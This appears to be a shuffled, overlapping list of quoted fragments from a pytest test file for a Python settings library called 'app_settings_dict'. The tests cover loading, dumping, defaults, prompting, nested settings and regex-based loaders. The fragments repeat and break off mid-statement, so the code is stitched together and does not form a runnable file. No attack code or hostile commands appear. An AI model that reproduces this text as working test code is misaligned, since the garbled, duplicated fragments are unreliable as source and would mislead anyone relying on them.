"\"world\", }, ) assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\":",
"}, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() -> None:",
"del settings[\"key2\"] assert \"key1\" not in settings assert \"key2\" not",
"assert settings[\"key3\"] == [] assert settings[\"key4\"] == \"value4\" with pytest.raises(ValueError):",
"Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"),",
"\"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\")",
"\"b\"}) assert settings[\"key2\"] == \"b\" def test_Settings__is_using_json() -> None: settings",
"1\"] == Coords(x_and_y=(1, 2)) assert settings[\"location 2\"] == Coords(x_and_y=(3, 4))",
"setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email",
"\"value5\", }, } def test_creating_setting_after_init() -> None: settings = Settings(",
"dataclass from app_settings_dict import Settings def test_simple_settings() -> None: settings",
"settings = Settings( setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y), data={ \"location",
"== [] def test_load_without_file() -> None: def sample_prompt_function(settings: Settings) ->",
"assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\",",
"settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def test_load_from_dict() -> None:",
"assert settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address",
"settings[\"key3\"] == [] settings[\"key3\"] = \"something\" assert settings[\"key3\"] == \"something\"",
"}, } def test_creating_setting_after_init() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\",",
"a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda:",
"\"key2\": \"b\"}) settings = Settings( settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function,",
"-> None: settings = Settings( settings_file_path=\"sample settings file name.json\", default_factories={",
"\"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty() -> None: settings",
"\"value3\", }, default_settings={ \"key3\": [], }, data={ \"key1\": \"hello\", \"key2\":",
"s = input(\"Enter the settings: \") return settings.update({\"key1\": \"a\", \"key2\":",
"assert settings[\"key3\"] == [] settings[\"key3\"] = \"something\" assert settings[\"key3\"] ==",
"settings[\"key3\"] assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert settings[\"key3\"] == []",
"= Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, )",
"default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [], }, data={",
"settings.reset(\"key3\") assert settings[\"key3\"] == [] settings[\"key3\"] = \"something\" assert settings[\"key3\"]",
") assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] ==",
"assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\"",
"test_load_after_empty() -> None: settings = Settings( settings_file_path=\"sample settings file name.json\",",
"}, ) assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\"",
"settings[\"key2\"] assert \"key1\" not in settings assert \"key2\" not in",
"settings[\"key3\"] = \"something\" assert settings[\"key3\"] == \"something\" settings.reset_all() assert settings[\"key1\"]",
"= Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\":",
"def test_creating_setting_after_init() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\":",
"settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\",",
"settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" def",
"\"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ),",
"assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert settings[\"key3\"] == [] settings[\"key3\"]",
"-> None: settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda:",
"\"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.clear() assert settings[\"key1\"]",
"settings = Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [], \"key2\": \"value2\",",
"Settings def test_simple_settings() -> None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={",
"== \"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" settings[\"key1\"] =",
"} ), }, data={ \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\",",
"x.pattern, data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile(",
"import dataclass from app_settings_dict import Settings def test_simple_settings() -> None:",
"assert settings[\"key2\"] == \"world\" del settings[\"key1\"] del settings[\"key2\"] assert \"key1\"",
"settings[\"key2\"] == \"b\" def test_Settings__is_using_json() -> None: settings = Settings(",
"\"value5\", }, ), }, ) assert settings.dump_to_dict() == { \"key1\":",
"1\"] == (1, 2) assert settings_dict[\"location 2\"] == (3, 4)",
"}, ) assert settings[\"key1\"] == \"hello\" settings.clear() assert settings[\"key1\"] ==",
"Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, )",
"== [] settings[\"key3\"] = \"something\" assert settings[\"key3\"] == \"something\" settings.reset_all()",
"\"key1\": \"c\", \"key2\": \"d\", } ) assert settings.data[\"key1\"] == \"c\"",
"2\"] == Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number pattern\"] == re.compile(",
"data={ \"key1\": \"a\", \"key2\": \"b\", } ) settings.load_from_dict( { \"key1\":",
"\"value2\", }, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() ->",
"test_nested_setting_loaders_and_dumpers() -> None: @dataclass class Coords: x: int y: int",
") assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\"",
"Settings( data={ \"key8\": \"value8\", } ), }, data={ \"key1\": \"hello\",",
"dataclasses import dataclass from app_settings_dict import Settings def test_simple_settings() ->",
"from app_settings_dict import Settings def test_simple_settings() -> None: settings =",
"test_simple_settings() -> None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda:",
"settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] ==",
"s = input(\"Enter a setting: \") return \"a\" settings =",
"= Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", },",
"\"key4\": { \"key5\": \"value5\", }, } def test_creating_setting_after_init() -> None:",
"[], \"key2\": \"value2\", }, ) with pytest.raises(KeyError): settings[\"key3\"] = \"value3\"",
"return \"a\" settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda:",
"re from typing import Any, Tuple from dataclasses import dataclass",
"[], }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert",
"def sample_prompt_function() -> Any: # s = input(\"Enter a setting:",
"settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\": Settings( data={",
"settings.dump_to_dict() assert settings_dict[\"location 1\"] == (1, 2) assert settings_dict[\"location 2\"]",
"def test_load_after_empty() -> None: settings = Settings( settings_file_path=\"sample settings file",
"def test_simple_settings() -> None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\":",
"\"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": { \"key5\": \"value5\", },",
"} ) assert settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"] == \"d\"",
"\"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"}) assert",
"== \"world\" assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"]",
"\"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" settings[\"key1\"] = \"a\"",
"setting_dumper=lambda obj: (obj.x, obj.y), data={ \"location 1\": Coords(x_and_y=(1, 2)), \"location",
"-> None: settings = Settings() settings.load_from_dict( { \"key1\": \"hello\", \"key2\":",
"Settings( settings_file_path=\"why would anyone want an inner file though.yaml\", data={",
"}, ) assert settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"]",
"file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\":",
"== \"something\" settings.reset_all() assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] ==",
"assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" del settings[\"key3\"]",
"\"value3\" settings.reset(\"key3\") assert settings[\"key3\"] == [] settings[\"key3\"] = \"something\" assert",
"== \"b\" assert settings[\"key3\"] == \"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default",
"\"key1\" not in settings assert \"key2\" not in settings assert",
"None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", },",
"== \"value1\" def test_prompt() -> None: def sample_prompt_function() -> Any:",
") assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", \"key3\":",
"== (1, 2) assert settings_dict[\"location 2\"] == (3, 4) assert",
"setting_loader=Coords, setting_dumper=lambda obj: (obj.x, obj.y), data={ \"location 1\": Coords(x_and_y=(1, 2)),",
"= Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\": Settings( data={ \"key8\":",
"assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"]",
"settings = Settings( settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\":",
"number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), },",
"= Settings( data={ \"key1\": \"a\", \"key2\": \"b\", } ) settings.load_from_dict(",
"settings_dict = settings.dump_to_dict() assert settings_dict[\"location 1\"] == (1, 2) assert",
"\"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), }, )",
"\"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" del",
"-> Any: # s = input(\"Enter a setting: \") return",
"\"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def test_load_from_dict() -> None: settings =",
"obj: (obj.x, obj.y), data={ \"location 1\": Coords(x_and_y=(1, 2)), \"location 2\":",
"\"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"}) assert",
"return settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings = Settings( settings_file_path=\"not a",
"settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert settings[\"key3\"] == [] settings[\"key3\"] =",
"with pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def test_prompt_error() -> None: settings",
"Settings() settings.load_from_dict( { \"key1\": \"hello\", \"key2\": \"world\", } ) assert",
"name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\":",
"data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\"",
"Any, Tuple from dataclasses import dataclass from app_settings_dict import Settings",
"settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [], \"key7\": Settings( data={ \"key8\": \"value8\", }",
"settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"] == \"d\" def test_dump_to_dict() ->",
"2)), \"location 2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x:",
"assert \"key1\" not in settings assert \"key2\" not in settings",
"assert settings[\"key3\"] == \"something\" settings.reset_all() assert settings[\"key1\"] == \"hello\" assert",
"settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" del settings[\"key3\"] assert",
"0, default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [], },",
"settings[\"key1\"] == \"a\" def test_changing_settings_before_load() -> None: settings = Settings(",
"\"value3\", }, default_settings={ \"key3\": [], \"key4\": \"value4\", }, data={ \"key1\":",
"\"key2\": \"world\", \"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why would anyone want",
"file.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(ValueError):",
"== r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location 1\"] == Coords(x_and_y=(1, 2))",
"} ) settings.load_from_dict( { \"key1\": \"c\", \"key2\": \"d\", } )",
"settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"]",
"settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", } def test_nested_Settings()",
"pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() -> None: @dataclass class Coords:",
"settings[\"key1\"] del settings[\"key2\"] assert \"key1\" not in settings assert \"key2\"",
"though.yaml\", data={ \"key5\": \"value5\", }, ), }, ) assert settings.dump_to_dict()",
"default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt",
"\"key4\": \"value4\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, )",
"user\") def test_nested_setting_loaders_and_dumpers() -> None: @dataclass class Coords: x: int",
"\"key2\": \"world\", }, ) assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"]",
"settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={",
"} def test_nested_Settings() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={",
"\"value4\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert",
"\"world\", }, ) assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not",
"settings[\"key1\"] == \"value1\" def test_prompt() -> None: def sample_prompt_function() ->",
"\"key2\": \"world\", }, ) assert settings[\"key1\"] == \"hello\" settings.prompt(\"key1\") assert",
"input(\"Enter the settings: \") return settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings",
"== \"c\" assert settings.data[\"key2\"] == \"d\" def test_dump_to_dict() -> None:",
"pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def test_prompt_error() -> None: settings =",
"test_default_settings() -> None: settings = Settings( settings_file_path=\"sample settings file name.json\",",
"data={ \"key5\": \"value5\", }, ), }, ) assert settings.dump_to_dict() ==",
"settings[\"key1\"] == \"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"]",
"-> Settings: # s = input(\"Enter the settings: \") return",
"\"hello\", \"key2\": \"world\", }, ) assert settings[\"key1\"] == \"hello\" assert",
"data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings._Settings__is_using_json() settings.settings_file_path",
"None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\": \"world\",",
"__init__(self, x_and_y: Tuple[int, int]) -> None: self.x = x_and_y[0] self.y",
"with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" assert",
"Settings: # s = input(\"Enter the settings: \") return settings.update({\"key1\":",
"{ \"key1\": \"hello\", \"key2\": \"world\", } def test_nested_Settings() -> None:",
"settings\") assert settings[\"key1\"] == \"hello\" settings[\"key1\"] = \"a\" settings.load(fallback_option=\"default settings\")",
"address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), }, ) settings_dict",
"\"key4\": Settings( settings_file_path=\"why would anyone want an inner file though.yaml\",",
"assert settings[\"location 2\"] == Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number pattern\"]",
"\"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], }, data={",
"settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\"",
"[], \"key2\": \"value2\", }, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def",
"}, default_settings={ \"key1\": [], }, data={ \"key1\": \"hello\", }, )",
"test_nested_Settings() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\": [],",
"(1, 2) assert settings_dict[\"location 2\"] == (3, 4) assert settings_dict[\"patterns\"][\"phone",
"file though.yaml\", data={ \"key5\": \"value5\", }, ), }, ) assert",
"assert settings[\"key1\"] == \"value1\" with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() ->",
"[] def test_load_without_file() -> None: def sample_prompt_function(settings: Settings) -> Settings:",
"re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address pattern\": re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), },",
"lambda: \"value3\", }, default_settings={ \"key3\": [], \"key4\": \"value4\", }, data={",
"== \"world\" del settings[\"key1\"] del settings[\"key2\"] assert \"key1\" not in",
"address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location 1\"] ==",
"== \"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == []",
"setting_dumper=lambda x: x.pattern, data={ \"phone number pattern\": re.compile(r\"\\d{3}-?\\d{3}-?\\d{4}\"), \"email address",
"\"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\")",
"\"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] assert",
"settings.load_from_dict(settings_dict) assert settings[\"location 1\"] == Coords(x_and_y=(1, 2)) assert settings[\"location 2\"]",
") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" assert",
"assert settings[\"location 1\"] == Coords(x_and_y=(1, 2)) assert settings[\"location 2\"] ==",
"\"world\", } ) assert len(settings.data) == 0 settings = Settings(",
"prompt_user_for_all_settings=lambda: 1 / 0, default_factories={ \"key1\": lambda: \"value1\", }, default_settings={",
"{ \"key5\": \"value5\", }, } def test_creating_setting_after_init() -> None: settings",
"\"world\" assert settings[\"key3\"] == \"value3\" del settings[\"key3\"] assert settings[\"key3\"] ==",
"pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address pattern\"] == r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\"",
"== \"b\" assert settings[\"key3\"] == \"value3\" assert settings[\"key4\"] == \"value4\"",
"2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile, setting_dumper=lambda x: x.pattern, data={",
"== \"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"]",
"settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" assert settings[\"key4\"] ==",
"}, ), }, ) assert settings.dump_to_dict() == { \"key1\": \"hello\",",
"option\") def test_load_after_empty() -> None: settings = Settings( settings_file_path=\"sample settings",
"not in settings assert settings[\"key1\"] == \"value1\" with pytest.raises(KeyError): settings[\"key2\"]",
"-> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\",",
"def test_load_from_dict() -> None: settings = Settings() settings.load_from_dict( { \"key1\":",
"assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] == \"a\"",
"test_prompt_error() -> None: settings = Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\":",
"assert settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] == \"b\"",
"test_changing_settings_before_load() -> None: settings = Settings( settings_file_path=\"sample settings file name.json\",",
"\"key5\": \"value5\", }, } def test_creating_setting_after_init() -> None: settings =",
"address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() -> None:",
"settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] == \"b\" def",
"\"world\", } def test_nested_Settings() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\",",
"\"value2\", }, ) with pytest.raises(KeyError): settings[\"key3\"] = \"value3\" def test_prompt_error()",
"def test_default_settings() -> None: settings = Settings( settings_file_path=\"sample settings file",
"assert settings[\"patterns\"][\"email address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords()",
"\"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], }, data={ \"key1\":",
"prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda:",
"\"key2\": \"value2\", }, ) with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers()",
"Settings( settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", \"key2\":",
"class Coords: x: int y: int def __init__(self, x_and_y: Tuple[int,",
"assert settings[\"key4\"] == \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty()",
"def test_dump_to_dict() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\":",
"settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda:",
"Settings( data={ \"key1\": \"a\", \"key2\": \"b\", } ) settings.load_from_dict( {",
"settings\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\" assert",
"assert settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"] == \"d\" def test_dump_to_dict()",
"settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\":",
"assert settings[\"key3\"] == \"value3\" assert settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default",
"\"hello\" settings.clear() assert settings[\"key1\"] == \"value1\" def test_prompt() -> None:",
"\"value3\", \"key4\": Settings( settings_file_path=\"why would anyone want an inner file",
"settings[\"key1\"] == \"hello\" settings.clear() assert settings[\"key1\"] == \"value1\" def test_prompt()",
"sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\":",
") assert settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] ==",
"== \"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\"",
"Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: {\"key1\": \"a\", \"key2\": \"b\"},",
"\"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(KeyError): settings[\"key3\"] =",
"settings = Settings( settings_file_path=\"sample settings file name.json\", prompt_user_for_all_settings=lambda: 1 /",
"\") return \"a\" settings = Settings( settings_file_path=\"sample settings file name.json\",",
"a setting: \") return \"a\" settings = Settings( settings_file_path=\"sample settings",
"\"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\": lambda:",
"\"a\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" def test_update() ->",
"len(settings.data) == 0 settings = Settings( data={ \"key1\": \"a\", \"key2\":",
"}, ), }, ) settings_dict = settings.dump_to_dict() assert settings_dict[\"location 1\"]",
"{ \"key1\": \"c\", \"key2\": \"d\", } ) assert settings.data[\"key1\"] ==",
"assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] assert settings[\"key4\"]",
"\"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt",
"settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\": \"world\", },",
"settings_file_path=\"why would anyone want an inner file though.yaml\", data={ \"key5\":",
"} def test_creating_setting_after_init() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={",
"lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], },",
"\"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\",",
"\"a\" def test_changing_settings_before_load() -> None: settings = Settings( settings_file_path=\"sample settings",
"-> None: @dataclass class Coords: x: int y: int def",
"\"hello\", \"key2\": \"world\", }, ) assert settings.dump_to_dict() == { \"key1\":",
"Settings) -> Settings: # s = input(\"Enter the settings: \")",
"\"a\" def test_update() -> None: settings = Settings( settings_file_path=\"sample settings",
"assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\")",
"settings[\"key3\"] == \"value3\" assert settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default settings\")",
"\"a\", \"key2\": \"b\", } ) settings.load_from_dict( { \"key1\": \"c\", \"key2\":",
"settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\" assert ( settings_dict[\"patterns\"][\"email address pattern\"]",
"\"value1\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert",
"user\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\" assert",
"\"location 1\": Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings(",
"-> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [], \"key2\":",
"\"something\" settings.reset_all() assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\"",
"settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] ==",
"== Coords(x_and_y=(1, 2)) assert settings[\"location 2\"] == Coords(x_and_y=(3, 4)) assert",
"data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default",
"assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", } def",
"test_creating_setting_after_init() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key1\": [],",
"-> None: def sample_prompt_function(settings: Settings) -> Settings: # s =",
"settings[\"patterns\"][\"email address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() ->",
"settings.prompt(\"key1\") assert settings[\"key1\"] == \"a\" def test_changing_settings_before_load() -> None: settings",
"None: def sample_prompt_function() -> Any: # s = input(\"Enter a",
"\"key2\": \"world\", }, ) assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert",
"\"a\"}) assert settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] ==",
"1\": Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3, 4)), \"patterns\": Settings( setting_loader=re.compile,",
"int def __init__(self, x_and_y: Tuple[int, int]) -> None: self.x =",
"4)) assert settings[\"patterns\"][\"phone number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert",
"}, ) settings_dict = settings.dump_to_dict() assert settings_dict[\"location 1\"] == (1,",
"test_dump_to_dict() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\",",
"== \"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] == \"a\" settings.update({\"key2\": \"b\"})",
"settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\"",
"0 settings = Settings( data={ \"key1\": \"a\", \"key2\": \"b\", }",
"== \"value3\" assert settings[\"key4\"] == \"value4\" settings.clear() settings.load(fallback_option=\"default settings\") assert",
"\"world\", \"key3\": \"value3\", \"key4\": Settings( settings_file_path=\"why would anyone want an",
"def test_changing_settings_before_load() -> None: settings = Settings( settings_file_path=\"sample settings file",
"settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" settings[\"key1\"]",
") assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def",
"data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.update({\"key1\":",
"= input(\"Enter the settings: \") return settings.update({\"key1\": \"a\", \"key2\": \"b\"})",
